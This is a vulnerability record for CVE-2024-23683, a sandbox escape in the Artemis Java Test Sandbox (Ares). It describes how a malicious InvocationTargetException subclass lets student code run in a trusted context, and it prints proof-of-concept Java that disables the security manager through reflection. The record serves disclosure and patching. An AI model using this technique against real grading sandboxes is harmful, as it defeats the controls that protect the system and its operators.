{"id":"CVE-2024-23683","aliases":["GHSA-883x-6fch-6wjx"],"url":"https://o3.security/vulnerability/CVE-2024-23683","summary":"Artemis Java Test Sandbox InvocationTargetException Subclass Escape","details":"### Impact\nThis allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.\n\n### Patches\nUpdate to version `1.7.6` or later.\n\n### Workarounds\nForbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371\n\n### References\n_Are there any links users can visit to find out more?_\nNot that I know of.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/ls1intum/Ares/issues\n* Email us, see https://github.com/ls1intum/Ares/security/policy\n\n### Detailed description\nUsing generics, it is possible to throw checked exceptions without a `throws` clause:\n<details>\n<summary>ThrowWithoutThrowsHelper</summary>\n\n```java\npublic class ThrowWithoutThrowsHelper<X extends Throwable>\n{\n    private final X throwable;\n\n    private ThrowWithoutThrowsHelper(X throwable)\n    {\n        this.throwable = throwable;\n    }\n\n    private <R> R throwWithThrows() throws X\n    {\n        throw throwable;\n    }\n\n    public static <R> R throwWithoutThrows(Throwable throwable)\n    {\n        ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);\n        @SuppressWarnings(\"unchecked\")\n        ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;\n        return helperCasted.throwWithThrows();\n    }\n}\n```\n</details>\n\nUsing this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`).\n\nThis exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this:\n<details>\n<summary>ReflectionUtils::invokeMethod</summary>\n\n```java\n    public static Object invokeMethod(Method method, Object target, Object... args) {\n        Preconditions.notNull(method, \"Method must not be null\");\n        Preconditions.condition((target != null || isStatic(method)),\n            () -> String.format(\"Cannot invoke non-static method [%s] on a null target.\", method.toGenericString()));\n\n        try {\n            return makeAccessible(method).invoke(target, args);\n        }\n        catch (Throwable t) {\n            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));\n        }\n    }\n```\n</details>\n\nThis method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument.\n<details>\n<summary>ReflectionUtils::getUnderlyingCause</summary>\n\n```java\n    private static Throwable getUnderlyingCause(Throwable t) {\n        if (t instanceof InvocationTargetException) {\n            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());\n        }\n        return t;\n    }\n```\n</details>\n\n`getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`.\nIf `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames.\nThis allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`:\n<details>\n<summary>Uninstalling ArtemisSecurityManager</summary>\n\n```java\n\nSecurityManager secman = System.getSecurityManager();\nClass<?> aresSecmanClass = secman.getClass();\nField isPartlyDisabledF = aresSecmanClass.getDeclaredField(\"isPartlyDisabled\");\nisPartlyDisabledF.setAccessible(true);\nisPartlyDisabledF.set(secman, true);\nSystem.setSecurityManager(null);\n```\n</details>\n\nAfter uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.","published":"2024-01-19T20:48:42.271Z","modified":"2026-08-12T12:59:38.011315Z","cvss":{"score":8.2,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"Maven","name":"de.tum.in.ase:artemis-java-test-sandbox","fixedVersion":"1.7.6"}],"fix":{"url":"https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392","label":"ls1intum/Ares@af4f28a"},"references":[{"type":"WEB","url":"https://github.com/ls1intum/Ares/releases/tag/1.7.6"},{"type":"WEB","url":"https://repo.maven.apache.org/maven2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/23xxx/CVE-2024-23683.json"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-883x-6fch-6wjx"},{"type":"ADVISORY","url":"https://github.com/ls1intum/Ares/security/advisories/GHSA-883x-6fch-6wjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23683"},{"type":"ADVISORY","url":"https://vulncheck.com/advisories/vc-advisory-GHSA-883x-6fch-6wjx"},{"type":"REPORT","url":"https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371"},{"type":"FIX","url":"https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392"},{"type":"PACKAGE","url":"https://github.com/ls1intum/Ares"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T12:59:38.011315Z"}}